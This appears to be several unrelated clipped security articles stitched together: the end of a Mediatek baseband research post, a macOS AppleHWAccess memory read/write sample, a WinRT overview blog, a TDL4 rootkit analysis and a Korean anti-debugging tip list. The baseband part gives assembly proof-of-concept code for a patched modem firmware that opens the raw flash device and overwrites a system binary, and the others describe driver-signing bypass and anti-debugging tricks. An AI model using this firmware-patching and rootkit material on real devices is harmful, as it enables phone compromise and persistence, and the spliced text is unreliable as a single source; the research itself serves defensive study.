`/dev/block`. Filtering the list of these devices for those that can be
written by the `system` group yields us the following result:

[code]

    brw-rw---- root     system   179,   0 2016-08-31 11:00 mmcblk0
    brw-rw---- root     system   179,  32 2016-08-31 11:00 mmcblk0boot0
    brw-rw---- root     system   179,  64 2016-08-31 11:00 mmcblk0boot1
    brw-rw---- root     system   179,   1 2016-08-31 11:00 mmcblk0p1 -> proinfo
    brw-rw---- root     system   179,  13 2016-08-31 11:00 mmcblk0p13 -> secro
    brw-rw---- root     system   179,  14 2016-08-31 11:01 mmcblk0p14 -> para
    brw-rw---- root     system   179,   2 2016-08-31 11:00 mmcblk0p2 -> nvram
    brw-rw---- media    system   259,   0 2016-08-31 11:00 mmcblk0p32 -> control
    brw-rw---- root     system   259,   8 2016-08-31 11:00 mmcblk0p40 -> boot
    brw-rw---- root     system   259,   9 2016-08-31 11:00 mmcblk0p41 -> recovery
    brw-rw---- root     system   179,   8 2016-08-31 11:00 mmcblk0p8 -> seccfg
    
[/code]

Great\! The first item of the list is the raw device for the internal flash
that contains the system image including the system partition.

This means that the modem is able to open the `mmcblk0` raw devices, and as a
result, search the device for the binary data of an executable \(preferably
one that is run as root\) and overwrite it with arbitrary code, thus
compromising the Android system. To test this theory in practice we need to
examine the modem RTOS, discover how the NVRAM API is used from within the
modem, and finally modify the firmware to create a proof of concept exploit.

# Analyzing the Modem Firmware

There are multiple ways to obtain the modem firmware image. As introduced
earlier, the ROM image is present in the AP memory and can be dumped. The
firmware image file is also present on the AP file system as it is loaded by
the CCCI kernel driver. I decided to first take a look at the code that loads
the driver.

From an architectural perspective the firmware loading works as follows:

  * First, the image is retrieved and opened
  * Next, its signature is checked
  * Finally, the image is decrypted and copied to the reserved ROM memory

This sounds good, however, if we take a closer look we can spot multiple
issues with it. For some reason only the first 0x18000 bytes of the image is
encrypted, while the rest is stored in cleartext. This alone would not be a
problem, but the real issue here is that the hash, that is used to verify the
image and signed by Mediatek: it is only calculated over the headers\! This
leaves the actual firmware data without any sort of integrity protection. As a
result, modified or corrupted images are loaded by the CCCI driver without a
problem.

As a reference for the interested reader, the actual image format is composed
of an image header, a cipher header, the actual data, verification hash, the
signature, and the extension headers.

<img src='img/Temp2_1580.png' width='545' height='591' />

#### Figure 6: Firmware Image Headers

To obtain the raw image from the one stored on the device \(as
`/system/etc/firmware/modem_1_lwg_n.img`\) we can write a program that removes
the headers and trailers and decrypts the image. The firmware is encrypted
with AES-128 and the keys are statically compiled and encoded within the
kernel. They can either be dumped from kernel memory or a kernel module can be
used for hijacking the `sec_aes_init` \(source\) and `lib_aes_dec` \(source\)
routines and subsequently decrypting the image.

Now that we have obtained the raw image we can load it in IDA for manual
analysis. A few Mediatek debug utilities provide tremendous help during the
reverse engineering of the firmware image. First of all, there are modem trace
log files available under `/mnt/shell/emulated/0/mtklog`. These are helpful in
tracking the firmware execution flow. By default only critical events are
reported, but the log level can be controlled with the `/system/etc/mtklog-
config.prop` config file to include non-critical events as well. Another
useful utility is the `/sys/devices/virtual/misc/md32/md32_ocd` virtual
device, which provides remote debugging capabilities for the modem. Lastly,
there is also an executable \(also called `md32_ocd`\), which implements basic
functionality such as setting and reading modem registers, reading and writing
memory, and powering on and off the device. Unfortunately, it seems to be
disabled by default on production devices and the requested operations fail
silently. I could not find a way to re-enable it and I am unsure if it is
possible at all. It might be permanently disabled by a blown fuse, but more
likely it can be enabled by some configuration setting or kernel API since the
associated driver is compiled into the kernel.

Out of the many debug facilities, the one that turned out to be the most
valuable is a symbol file kept under
`/mnt/shell/emulated/0/mtklog/mdlog1/MDLog1_*date*/DbgInfo_*modem-version*`.
This file contains all the function names and respective addresses that appear
in the firmware image. Furthermore the parity bit of the function address
tells whether the given function is compiled in ARM or Thumb-2 mode. I wrote
an IDA python script that parses this file and defines all functions and
provides us with a fully populated IDB \(see Figures 7a and 7b for the
results\). The `T` segment register can be set to switch between ARM and thumb
mode then code and functions can be defined.

<img src='img/Temp2_1582.png' width='1140' height='25' />

#### Figure 7a: IDA Navigator Before the Symbol File is Processed

<img src='img/Temp2_1579.png' width='1135' height='26' />

#### Figure 7b: IDA Navigator After the Symbol File is Processed

If this was not enough, partial source code of the MT6795 modem is publicly
available for unknown reasons. With all these resources at hand, we can reduce
the reverse engineering effort and still form a relatively complete picture of
the modem system. The MD firmware is a Nucleus RTOS image and uses a
customized version of the CCCI driver for the inter-chip communication. Just
like on the AP side the driver can be split into two main components: the
lower layer CCCI-CCIF is responsible for providing an interface to the shared
memory channels, while the other part of the driver provides access to the
CCCI services to the Nucleus tasklets.

The most interesting part of the firmware is its NVRAM implementation details
on how the modem retrieves files from the AP system. This will be useful for
further developing a PoC. The modem’s NVRAM API relies on the services of a
Nucleus driver called `ccci_fs`, which is used to access the remote file
system. The actual remote file system API is implemented in the
`ccci_fs_apis.c` source file and it contains similar functions to what we have
observed in the `ccci_fsd` application. Taking a closer look at the defined
functions reveals a conventional file system API as can be seen below:

[code]

    kal_int32 MD_FS_Open(const WCHAR * FileName, kal_uint32 Flag);
    kal_int32 MD_FS_Close(FS_HANDLE FileHandle);
    kal_int32 MD_FS_Read(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Read);
    kal_int32 MD_FS_Write(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Written);
    kal_int32 MD_FS_Seek(FS_HANDLE FileHandle, kal_int32 Offset, kal_int32 Whence);
    
[/code]

Just like in the `ccci_fsd` binary the `MD_FS_Open` call expects a wide char
string as a filename. It is filled into a parameter structure and passed to
the AP side through the shared memory interface. The format of these
parameters correlates with what was seen in the intercepted data from the
`LD_PRELOAD`-ed `ccci_fsd` application. The rest of the API is designed
similarly and each of these functions fill the same structure, containing a
command code for the requested operation and the parameter. A command code
identifies the requested operation and the parameter contains associated data
such as the filename or the read or written bytes.

# Potential Backdoor Functionality

Before moving on to writing the actual proof of concept, there is just one
thing that must be mentioned here. While looking through the Helio X10 modem
sources, I stumbled upon a _very_ suspicious looking source file called
`rmmi_ats.c`. It implements custom AT commands that triggers “telemetry”
collection routines such as capturing keyboard and touch events, the current
picture of the screen, or the output of the phones camera. It is even capable
of emulating key presses and provides many other similar functionality, all
with questionable intent. These functions can be executed remotely from the
ISP side by sending the associated AT commands to the phone. Even though it is
not compiled into the firmware image of the researched device, it still
highlights potential capabilities of a compromised baseband.

This further stresses the importance of strict security gaps between the
hardware components of such platforms \(be it mobile, embedded or any other
device\) and raises questions about how much one can trust third party closed
source applications. Before jumping to a quick conclusion, I would like to
emphasize that these source files are coming from the Internet from unknown
sources, they are definitely not official and cannot be considered genuine.
Still, it is an interesting research question whether other Mediatek devices
with similar chipsets contain this code \(especially from the Chinese market\)
in production.

# Proof of Concept Exploit

Recall that the original assumption of the research was that baseband chips
can get compromised in the first place, as previously demonstrated by other
researchers \(including Comsecuris\). To simulate such a compromise we can
directly modify and patch the firmware image to run our proof of concept code.
This is possible due to the aforementioned lack of proper secure boot. At
least, the CCCI driver fails to validate the integrity of the loaded image so
this ability is given in practice. All we need is a good victim function that
can be overwritten by our code to extend the firmware’s functionality. An
ideal candidate can be triggered from the AP and would not disrupt the regular
operation of the modem \(too much\). Such functions are the AT command
handlers itself.

A victim that satisfies such conditions is the `rmmi_vts_hdlr` handler, which
is executed upon receipt of an `AT+VTS` command. The benefit of modifying this
function is that it is located in cleartext portion of the firmware image.
Therefore, there is no need to bother with decrypting and encrypting the image
file while developing the PoC.

Another useful routine is `rmmi_write_to_uart`, which can be used to send
messages to the AP through the same serial line that is used to transmit AT
commands. This provides us some much-needed debug capabilities by allowing to
send arbitrary data from the modem. To receive such data on the AP side, the
`gsm0710muxd` process can be killed and a serial console can be attached to
the `/dev/ttyC0` device, which gives us complete control over the
communication. The execution of the overwritten VTS handler can be triggered
on the modem by sending the `AT+VTS` command on this serial line.

Now that all the primitives are explored, it is time to piece the actual proof
of concept together. In order to gain code execution on the AP we need to open
the `/dev/mmcblk0` device on the modem and then seek to roughly where the
system partition begins. Next, we search for and overwrite the target binary
on the raw partition. It is possible to seek exactly to the offset of the
victim executable, but in practice this address can vary between devices so it
is not a realistic assumption that it is known a priori. Even without knowing
the exact address, the device can be read block-by-block while searching block
data for specific binary sequences that ultimately identify our target binary.
This process is made easier by the fact that the files always begin on a block
boundary so that the offset of the sequence within a block does not change.
Once the victim binary file is found it can be overwritten with arbitrary
data. The next time it is loaded into memory, our malicious code will be run.

I have decided to write the PoC in assembly as the code is fairly small and
requires low level interaction with existing functions in the firmware image.
The complete source code and the scripts used to patch the image are available
here, but the major steps are covered in this blog post.

First, the malicious path string is copied to the stack as wide char string
using `kal_wsprintf`.

[code]

    .set FORMAT_STR, 0x7053b5
    .set MMCBLK_PATH, 0x7053b8
    .set KAL_WSPRINTF, 0x3ba19f
    @ move the path to stack as wchar
    mov r0, sp
    ldr r1, =FORMAT_STR @%s format string
    ldr r2, =MMCBLK_PATH @ Z:../../../dev/mmclkb0
    ldr r6, =KAL_WSPRINTF
    blx r6
    
[/code]

Then the block device is opened with read/write permissions.

[code]

    .set RWO_FLAGS, 0x21010400
    .set FS_OPEN, 0x103861
    @ open the /dev/mmcblk raw device
    @ with R/W permissions
    mov r0, sp @the path string
    ldr r1, =RWO_FLAGS
    ldr r6, =FS_OPEN
    blx r6
    @ store the returned handler
    str r0, [sp]
    
[/code]

We seek approximately to the beginning of the system partition on the device.

[code]

    .set FS_SEEK, 0x103C39
    @ first seek into the middle of mmcblk device
    @ that is roughly where system starts
    seek:
    mov r0, fhl
    mov r1, #1
    lsl r1, #30
    mov r2, #1 @0 begin 1 cur
    ldr r6, =FS_SEEK
    blx r6
    
[/code]

After that, we start reading the device block-by-block and check whether it
contains the pattern that identifies the victim. The PoC looks for an 8
character long constant string that I set up for testing. This can be changed
to any binary sequence that is unique to the target application \(or block\).

[code]

    .set FS_READ, 0x103A65
    @ keep reading from device until
    @ the target is found
    mov r5, #0
    read:
    mov r0, fhl @ file handler
    mov r1, sp @ read to the stack
    mov r2, #1 @ 512 bytes = 1 block
    lsl r2, #9
    mov r3, r2 
    add r3, sp, r3 @ the number of bytes read
    ldr r6, =FS_READ
    blx r6
    
    @ check if the read value contains the pattern
    @ this is oversimplified
    ldr r2, =CANARY1
    ldr r1, [SP]
    cmp r2, r1
    bne isover
    ldr r2, =CANARY2
    ldr r1, [SP, #4]
    cmp r2, r1
    @ if the victim is found we can overwrite it
    beq write
    
[/code]

Finally, the beginning of the target file is overwritten with a string. In a
real exploit this is where the shell code would be written to the victim
binary.

[code]

    .set EVIL, 0x4c495645
    .set FS_WRITE, 0x103B55
    
    @ load the payload string "EVIL"
    ldr r0, =EVIL
    str r0, [sp]
    @ and write it
    mov r0, fhl @ file handler
    mov r1, sp @ the payload
    mov r2, #1 
    lsl r2, #9 @ 512
    mov r3, sp
    add r3, r3, r2
    ldr r6, =FS_WRITE
    blx r6
    
[/code]

This solution has a few a caveats. First, it takes considerable amount of time
to search the flash memory block-by-block. The PoC takes roughly two hours to
finish which is mostly due to the slow inter-chip I/O operations required to
read a block. This overhead can be significantly reduced by reading multiple
blocks in one request and then searching them in memory. Keeping multiple
blocks in memory should not be a problem as the modem has plenty of slack
space in RAM \(in the range of multiple MB\) and alternatively parts of the
shared memory could be utilized too. The other concern is that most of the
Nucleus tasks run in non-preemptible mode, including the AT command handlers.
Therefore, other tasks are starved while the exploit is being executed. This
makes the modem non-responsive and locks up its services, which then results
in the cellular network not being available on the AP side. This results in no
signal and is all but stealthy. This can be circumvented by starting a new
task for the exploit, by using the Nucleus API with preemptible priority
levels.

By overwriting the modem firmware image on the block device this attack can
also be leveraged to gain persistence and to turn the baseband into a rootkit.

# Looking for Entry-level Vulnerabilities

I spent the last few weeks of my internship trying to complete the exploit
chain by looking for a vulnerability in the baseband firmware. Unfortunately I
ran out of time and could not finish the chain. Yet I think the approach I
took is worth discussing. The MT6795 sources contain a set of pre-compiled
object files in the form static libraries some of which implement the
different layers of the cellular stack. The original idea was to try to link
one of them with a stub that feeds input to it so it can be fuzzed by AFL.

The implementation of the mobility management \(MM\) layer is a good candidate
for fuzzing as it contains many complex parsing functions that are potentially
prone to memory corruption errors and the protocol is filled with type-length
fields. Spending a little time reverse engineering the firmware image
clarifies that the MM layer is set up by calling the `mm_init` function and
then the `mm_main` function is executed whenever new data arrives to the
layer. The `mm_main` function receives its data in the form of Interlayer
Messages \(see definition below\) that contains a few crucial fields. The
`msg_type` is used to identify which operation the layer should carry out, the
content of the `local_para_struct` \(definition\) depends on the selected
operation while the `peer_buff_struct` \(definition\) contains the actual PDU.

[code]

    /* The Interlayer Message structure, which is exchaged between modules. */
    typedef struct ilm_struct {
       module_type       src_mod_id;      /* Source module ID of the message. */
       module_type       dest_mod_id;     /* Destination module ID of the message. */
       sap_type          sap_id;          /* Service Access Pointer Identifier. */
       msg_type          msg_id;          /* Message identifier */
       local_para_struct *local_para_ptr; /* local_para pointer */
       peer_buff_struct  *peer_buff_ptr;  /* peer_buff pointer */
    } ilm_struct;
    
[/code]

Knowing all this we can write a wrapper that calls `mm_init`, then sets up an
`ilm_struct` from the fuzzer input, and calls `mm_main` with it. Of course it
is not that simple as the MM layer relies on a various Nucleus OS services and
other layers. Trying to link our wrapper to `libmm.a` yields various undefined
reference errors. As a first try we can replace all of these undefined
references with a simple function stub that prints when it is called and
returns. This allows the wrapper to be successfully linked with the library,
but obviously it will not function correctly. Now we can begin an iterative
process of running the wrapper and stopping when one of our stubs is hit.
After that, the original version of the stubbed out function must be reverse
engineered to an extent that we can decide which of the following options to
take:

  * If the function is not crucial for the operation of the MM layer \(e.g. passing the ILM to upper layers\) it can be left as a stub \(see the sources
  * If the functionality is important, but the actual implementation is not, e.g. because it is not in scope for the fuzzing, the function can be redefined \(this is what happens for example with the event scheduler, see sources\)
  * If none of the above applies, the pre-compiled library that implements the function can be linked in

The third option must be treated extra carefully because each time a new
library is linked it pulls in additional dependencies, which can easily lead
to an avalanche effect. Using these steps I have managed to get the wrapper to
a stable state that can be fuzzed by AFL. The complete code is available here.

All of the tools and source snippets introduced in this post are available on
Comsecuris’ github: https://github.com/Comsecuris/mtk-baseband-sanctuary.

# Conclusion

The original goal of the research was to achieve a compromise of the
application processor operating system of a mobile phone from a compromised
modem. To protect from these type of attacks strong isolation between hardware
components should be considered when designing platforms. It also must be
emphasized that the main operating system and applications running on it, must
not blindly trust data coming from the different peripherals. Instead, this
kind of data should be treated as attacker controlled.

Defending against compromised units is already a complicated task and
defending against inherently malicious rogue elements is even harder. Many of
these hardware units are accessible through the radio networks \(baseband and
Wi-Fi chips and now even GPUs through WebGL\). They are prime targets for
remote exploitation of mobile devices and there are many aspects left to be
explored. Further offensive and defensive research is required in this space.

Besides making the jump between the chips harder, the security of the modem
\(and other peripherals\) should be improved as well. Not all vendors are
equal here, but some generally lack basic exploit mitigations. This
significantly reduces the complexity of exploitation and makes up for the
additional \(reverse\) engineering effort required to analyze the firmware.
Due to the relentless work of the security community and the constant
improvements of its hardening solutions, the cost of exploitation of mobile
operating systems has drastically increased over the last few years. This not
only makes attacks through deferred routes \(such as through the modem\) more
appealing but might make them economically viable.

  

# AppleHWAccess: Random Memory Read/Write

**Created:**| _11/1/2013 8:33:55 AM_  
---|---  
**Updated:**| _11/1/2013 8:33:55 AM_  
**Author:**| __  
**Tags:**| _LOLZ Mac-hacking_  
  

> Those who took a closer look at Mavericks may have noticed many new kexts,
> this article focuses on one particularly novel one: AppleHWAccess. This new
> kext allows a process running as root to read and write anywhere in memory.
> With this power comes significant responsibilities, any wrong move will
> almost certainly crash the system or cause a permanent hang while the kernel
> tries to read from write-only memory. Nevertheless I am posting a sample .m
> file which provides an example implementation of this feature, note that it
> can only perform the in/out b/w/l/q family of ioctl commands.  
>
> Code:
[code]

>     //
>     //  main.m
>     //  HWAccessor
>     //
>     //  Created by PHPdev32 on 6/27/13.
>     //  Licensed under GPLv3, full text at
> http://www.gnu.org/licenses/gpl-3.0.txt
>     //
>  
>     #import <Foundation/Foundation.h>
>     #import <IOKit/IOKitLib.h>
>     #define kAppleHWAccessClass "AppleHWAccess"
>     #define kAppleHWRead 0
>     #define kAppleHWWrite 1
>     #define kHWAtom 0x40
>     struct __attribute__ ((packed)) HWRequest {
>         UInt32 width;
>         UInt64 offset;
>         UInt64 data;
>     };
>  
>     /*!
>      * \brief Access physical memory
>      *
>      * Uses Mavericks' AppleHWAccess kernel extension to access physical
> memory in quanta up to 64 bits long, determining direction from the state of
> the NSData object passed in.
>      * \param address The address to begin reading/writing from
>      * \param length The length to ready/write
>      * \param data The NSData object to read to, or write from
>      */
>     void HWAccess(UInt64 address, UInt64 length, NSMutableData *data) {
>         if (!length+data.length) return;
>         io_service_t service;
>         if ((service = IOServiceGetMatchingService(kIOMasterPortDefault,
> IOServiceMatching(kAppleHWAccessClass)))) {
>             io_connect_t connect;
>             if (IOServiceOpen(service, mach_task_self(), 0, &connect) ==
> KERN_SUCCESS) {
>                 bool write = data.length;
>                 struct HWRequest in = {kHWAtom, address},out;
>                 size_t size = sizeof(struct HWRequest);
>                 while (in.offset < address+length) {
>                     if (write) [data getBytes:&in.data
> range:NSMakeRange(in.offset-address, kHWAtom)];
>                     if (IOConnectCallStructMethod(connect, write, &in, size,
> &out, &size) != KERN_SUCCESS)
>                         break;
>                     if (!write) [data appendBytes:&out.data
> length:in.width/8];
>                     in.offset+=in.width/8;
>                 }
>                 IOServiceClose(connect);
>                 IOObjectRelease(connect);
>             }
>             IOObjectRelease(service);
>         }
>     }
>  
>     int main(int argc, const char * argv[])
>     {
>  
>         @autoreleasepool {
>             NSMutableData *data = [NSMutableData data];
>             HWAccess(0xF0000, 0xFFFF, data);
>         }
>         return 0;
>     }
[/code]

# WinRT demystified - Miguel de Icaza

**Created:**| _9/23/2011 11:43:20 AM_  
---|---  
**Updated:**| _9/23/2011 11:43:20 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

# WinRT demystified

Posted on 15 Sep 2011 by Miguel de Icaza

Windows 8 as introduced at Build is an exciting release as it has important
updates to how Microsoft envisions users will interact with their computers,
to a fresh new user interface to a new programming model and a lot more.

If you build software for end-users, you should watch Jensen Harris discuss
the Metro principles in Windows 8. I find myself wanting to spend time using
Windows 8.

But the purpose of this post is to share what I learned at the conference
specifically about WinRT and .NET.

## The Basics

>

Microsoft is using the launch of Windows 8 as an opportunity to fix long-
standing problems with Windows, bring a new user interface, and enable a safe
AppStore model for Windows.

To do this, they have created a third implementation of the XAML-based UI
system. Unlike WPF which was exposed only to the .NET world and Silverlight
which was only exposed to the browser, this new implementation is available to
C++ developers, HTML/Javascript developers and also .NET developers.

.NET developers are very familiar with P/Invoke and COM Interop. Those are two
technologies that allow a .NET developer to consume an external component, for
example, this is how you would use the libc "system \(const char \*\)" API
from C\#:

[code]

    	[DllImport ("libc")]
    	void system (string command);
    	[...]
    
    	system ("ls -l /");
    	
[/code]

We have used P/Invoke extensively in the Mono world to create bindings to
native libraries. Gtk\# binds the Gtk+ API, MonoMac binds the Cocoa API, Qyoto
binds the Qt API and hundred other bindings wrap other libraries that are
exposed to C\# as object-oriented libraries.

COM Interop allows using C or C++ APIs directly from C\# by importing the COM
type libraries and having the runtime provide the necessary glue. This is how
Mono talked with OpenOffice \(which is based on COM\), or how Mono talks to
VirtualBox \(which has an XPCOM based API\).

There are many ways of creating bindings for a native library, but doing it by
hand is bound to be both tedious and error prone. So everyone has adopted some
form of "contract" that states what the API is, and the binding author uses
this contract to create their language binding.

## WinRT

WinRT is a new set of APIs that have the following properties:

  * It implements the new Metro look. 
  * Has a simple UI programming model for Windows developers \(You do not need to learn Win32, what an HDC, WndProc or LPARAM is\). 
  * It exposes the WPF/Silverlight XAML UI model to developers. 
  * The APIs are all designed to be asynchronous. 
  * It is a sandboxed API, designed for creating self-contained, AppStore-ready applications. You wont get everything you want to create for example Backup Software or Hard Disk Partitioning software. 
  * The API definitions is exposed in the ECMA 335 metadata format \(the same one that .NET uses, you can find those as ".winmd" files\). 

WinRT wraps both the new UI system as well as old Win32 APIs and it happens
that this implementation is based on top of COM.

### WinRT Projections

What we call "bindings" Microsoft now calls "projections". Projections are the
process of exposing APIs to three environments: Native \(C and C++\),
HTML/Javascript and .NET.

  * If you author a component in C++ or a .NET language, its API will be stored in a WinMD file and you will be able to consume it from all three environments \(Native, JavaScript and .NET\). 
Even in C++ you are not exposed to COM. The use of COM is hidden behind the
C++ projection tools. You use what looks and feels like a C++ object oriented
API.

To support the various constructs of WinRT, the underlying platform defines a
basic set of types and their mappings to various environment. In particular,
collection objects in WinRT are mapped to constructs that are native to each
environment.

## Asynchronous APIs

Microsoft feels that when a developer is given the choice of a synchronous and
an asynchronous API, developers will choose the simplicity of a synchronous
API. The result usually works fine on the developer system, but is terrible
when used in the wild.

With WinRT, Microsoft has followed a simple rule: if an API is expected to
take more than 50 milliseconds to run, the API is asynchronous.

The idea of course is to ensure that every Metro application is designed to
always respond to user input and to not hang, block or provide a poor user
experience.

Async programming has historically been a cumbersome process as callbacks and
state must be cascaded over dozens of places and error handling \(usually poor
error handling\) is sprinkled across multiple layers of code.

To simplify this process, C\# and VB have been extended to support the
F\#-inspired await/async pattern, turning async programming into a joy. C++
got a setup that is as good as you can get with C++ lambdas and Javascript
uses promises and "then \(\)".

## Is it .NET or Not?

Some developers are confused as to whether .NET is there or not in the first
place, as not all of the .NET APIs are present \(File I/O, Sockets\), many
were moved and others were introduced to integrate with WinRT.

When you use C\# and VB, you are using the full .NET framework. But they have
chosen to expose a smaller subset of the API to developers to push the new
vision for Windows 8.

And this new vision includes safety/sandboxed systems and asynchronous
programming. This is why you do not get direct file system access or socket
access and why synchronous APIs that you were used to consuming are not
exposed.

Now, you notice that I said "exposed" and not "gone".

What they did was that they only exposed to the compiler a set of APIs when
you target the Metro profile. So your application will not accidentally call
File.Create for example. At runtime though, the CLR will load the full class
library, the very one that contains File.Create, so internally, the CLR could
call something like File.Create, it is just you that will have no access to
it.

This split is similar to what has been done in the past with Silverlight,
where not every API was exposed, and where mscorlib was given rights that your
application did not have to ensure the system safety.

You might be thinking that you can use some trick \(referencing the GAC
library instead of the compiler reference or using reflection to get to
private APIs, or P/Invoking into Win32\). But all of those uses will be caught
by AppStore review application and you wont be able to publish your app
through Microsoft's store.

You can still do whatever ugly hack you please on your system. It just wont be
possible to publish that through the AppStore.

Finally, the .NET team has taken this opportunity to do some spring cleaning.
mscorlib.dll and System.dll have been split in various libraries and they have
moved some types around.

## Creating WinRT Components

Microsoft demoed creating new WinRT components on both C++ and .NET.

In the .NET case, creating a WinRT component has been drastically simplified.
The following is the full source code for a component that adds 2:

[code]          public sealed class AddTwo {

    		public int Add (int a, int b)
    		{
    			return a + b;
    		}
    
    		public async IAsyncOperation SubAsync (int a, int b)
    		{
    			return a - await (CountEveryBitByHand (b));
    		}
    	}
    	
[/code]

You will notice that there are no COM declarations of any kind. The only
restriction is that your class must be sealed \(unless you are creating a XAML
UI component, in that case the restriction is lifted\).

There are also some limitations, you can not have private fields on
structures, and there is not Task<T> for asynchronous APIs, instead you use
the IAsyncOperation interface. **Update to clarify: the no private fields rule
is only limited to structs exposed to WinRT, and it does not apply to
classes.**

## UI Programming

When it comes to your UI selection, you can either use HTML with CSS to style
your app or you can use XAML UI.

To make it easy for HTML apps to adhere to the Metro UI style and interaction
model, Microsoft distributes Javascript and CSS files that you can consume
from your project. Notice that this wont work on the public web. As soon as
you use any WinRT APIs, your application is a Windows app, and wont run in a
standalone web browser.

.NET and C++ developers get to use XAML instead.

There is clearly a gap to be filled in the story. It should be possible to use
Microsoft's Razor formatting engine to style applications using HTML/CSS while
using C\#. Specially since they have shown the CLR running on their HTML/JS
Metro engine.

Right now HTML and CSS is limited to the Javascript use.

## In Short

Microsoft has created a cool new UI library called WinRT and they have made it
easy to consume from .NET, Javascript and C++ and if you adhere by their
guidelines, they will publish the app on their appstore.

## Xamarin at BUILD

If you are at build, come join us tonight at 6:30 at the Sheraton Park hotel,
just after Meet the Experts. Come talk about Mono, Xamarin, MonoTouch,
MonoDroid and MonoMac and discuss the finer points of this blog over an open
bar.

## Comments

There is a long list of comments in the moderation queue that are not directly
related to WinRT, or bigger questions that are not directly related to WinRT,
.NET and this post's topic, so I wont be approving those comments to keep
things on focus. There are better forums to have discussions on Metro.

# Sunbelt Blog: How the TLD4 rootkit gets around driver signing policy on a
64-bit machine

**Created:**| _11/15/2010 9:38:12 PM_  
---|---  
**Updated:**| _11/15/2010 9:38:48 PM_  
**Author:**| __  
**Tags:**| _windows security crypto kernel signatures_  
  

### How the TLD4 rootkit gets around driver signing policy on a 64-bit machine

\(Analysis by Chandra Prakash, Technical Fellow, GFI Labs \)  
  
Microsoft’s Windows operating system, running on a 64-bit machine provides
enhanced security with driver signing of system and low level drivers. This
policy, called the kernel mode code signing policy, disallows any unauthorized
or malicious driver to be loaded. \[1.\]  
  
The TDL4 rootkit bypasses driver signing policy on 64-bit machines by changing
the boot options of Microsoft boot programs that will allow an unsigned driver
to load.  
  
Here’s how it’s done:  
  
The boot option is changed in memory from the code executed by infected MBR.
The boot option configures value of a config setting named
‘LoadIntegrityCheckPolicy’ that determines the level of validation on boot
programs. The rootkit changes this config setting value to a low level of
validation that effectively allows loading of an unsigned malicious rootkit
dll file. The rootkit dll is kdcom.dll, which is an infected version normal
kdcom.dll that ships with Windows.  
  
The rootkit also disables debuggers by NOP’ing debugger activation functions
as described below. This makes reverse engineering this rookit very
difficult\! The **KdDebuggerInitialize1** \(see below\) function in infected
kdcom.dll called during normal execution of the system installs the rootkit,
which hooks the IRP dispatch functions of miniport driver below the disk to
hide its malicious MBR.  
  
On a normal machine an unsigned driver will show this message  
  
_\*\*\* Windows is unable to verify the signature of  
the file \Windows\system32\kdcom.dll._  
  
By changing the boot option, display of the above message is also suppressed.  
  
\(This was researched on a 64-bit machine with Windows 7 installed\)  
  
_**Infected Kdcom.dll with debugger functions NOP’ed out**_  
  
.text: KdDebuggerInitialize0  
.text: mov cs:byte\_1800019EC, 3  
.text: xor eax, eax  
.text: retn <\-- Debugger function NOP’ed out that prevents debugger
attachment  
  
.text: public KdSendPacket  
.text: mov cs:byte\_1800019EC, 6  
.text: retn <\-- Debugger function NOP’ed out  
  
.text: **KdDebuggerInitialize1**  
.text: lea rcx, sub\_18000190C <\-- This function installs the rootkit  
.text: jmp cs:PsSetLoadImageNotifyRoutine  
.text: KdDebuggerInitialize1 endp  
  
**Corresponding functions of clean Kdcom.dll**  
  
.text: public KdDebuggerInitialize0  
.text: mov \[rsp+arg\_0\], rbx  
.text: mov \[rsp+arg\_8\], rsi  
.text: push rdi  
.text: sub rsp, 20h  
  
\(snip\)  
  
.text: public **KdDebuggerInitialize1**  
.text: sub rsp, 28h  
.text: cmp cs:KdComAddressID, 0  
.text: jnz short loc\_7FF7045112A  
  
\(snip\)  
  
.text: public KdSendPacket  
.text: mov \[rsp+arg\_0\], rbx  
.text: mov \[rsp+arg\_8\], rbp  
.text: mov \[rsp+arg\_10\], rsi  
.text: push rdi  
.text: push r12  
  
\(snip\)  
  
  
\[REFERENCES\]  
  
\[1.\] Kernel-Mode Code Signing Policy \(Windows Vista and Later\),
http://msdn.microsoft.com/en-us/library/ff548231%28VS.85%29.aspx  
  
Thanks Chandra.  
  
Tom Kelchner

# Security Insight :: \[Tip and Tech\] Anti-debugging Techniques

**Created:**| _5/10/2011 3:53:35 PM_  
---|---  
**Updated:**| _5/10/2011 4:00:16 PM_  
**Author:**| __  
**Tags:**| _windbg awesome anti-debugging Obfuscation_  
  

  * 

********************

## \[Tip and Tech\] Anti-debugging Techniques

0x03 Reversing/Tip and Tech 2011/05/10 21:34

이 글은 Symantec 사의 홈페이지에 게시된 article을 바탕으로 정리한 내용으로 원문은 아래 링크를 참고하기 바랍니다.

http://www.symantec.com/connect/articles/windows-anti-debug-reference

Anti-debugging이란 프로그램이 정상적으로 실행된 것이 아니라 디버거에 의해 실행되고 있음을 감지하는 기술을 말하며 보통 리버싱을
통한 분석 과정을 방해하거나 상용의 패커나 프로텍터 등에서 사용된다.

  

**○ 메모리 값을 이용한 Anti-debugging******

**① kernel32\!IsDebuggerPresent API 이용**

kernel32\!IsDebuggerPresent API는 해당 프로세스가 디버깅을 당하고 있으면 1을 리턴하며 그렇지 않을 경우 0을
리턴한다. 간단히 해당 API 호출을 통해 디버깅 유무를 감지할 수 있지만 그만큼 회피도 쉬우며 대부분의 디버거들은 쉽게 회피가 가능하다.
참고로 IsDebuggerPresent는 PEB 구조체의 BeingDebugged 값을 참조하여 리턴값을 결정한다.

<img src='img/Temp2_7344.png' />

\- Example

call IsDebuggerPresent // IsDebuggerPresent call  
test eax, eax // return값 비교  
jne @DebuggerDetected // return값에 따라 분  
---  
**② PEB의 IsDebugged값 참조**  
IsDebuggerPresent 참조하는 값과 동일한 값으로 API 호출을 통해서가 아닌 직접 PEB 구조체의 +2바이트에 존재하는
BeingDebugged 접근하여 해당 플래그 값을 읽어와 현재 디버거에 의해 실행중인지 검사한다.\(디버거에 의해 실행 중일때 값이
설정된다.\)  
\- Example

mov eax, fs:\[30h\] // PEB 구조체에 접근  
mov eax, byte \[eax+2\] // BeingDebugged 값을 eax에 저장  
test eax, eax // BeingDebugged 값 검사  
jne @DebuggerDetected // 검사 결과에 따라 분기  
---  
**③ PEB의 NtGlobalFlags값 참조**  
NtGlobalFlags는 PEB+0x68에 위치한 값으로 디버거에 의해 실행될 때와 그렇지 않을 경우 다른 값을 갖는다.
NtGlobalFlags에 설정가능한 플래그의 값은 아래 링크를 참조하기 바란다. http://msdn.microsoft.com/en-
us/library/ff549596%28VS.85%29.aspx

<img src='img/Temp2_7343.png' />

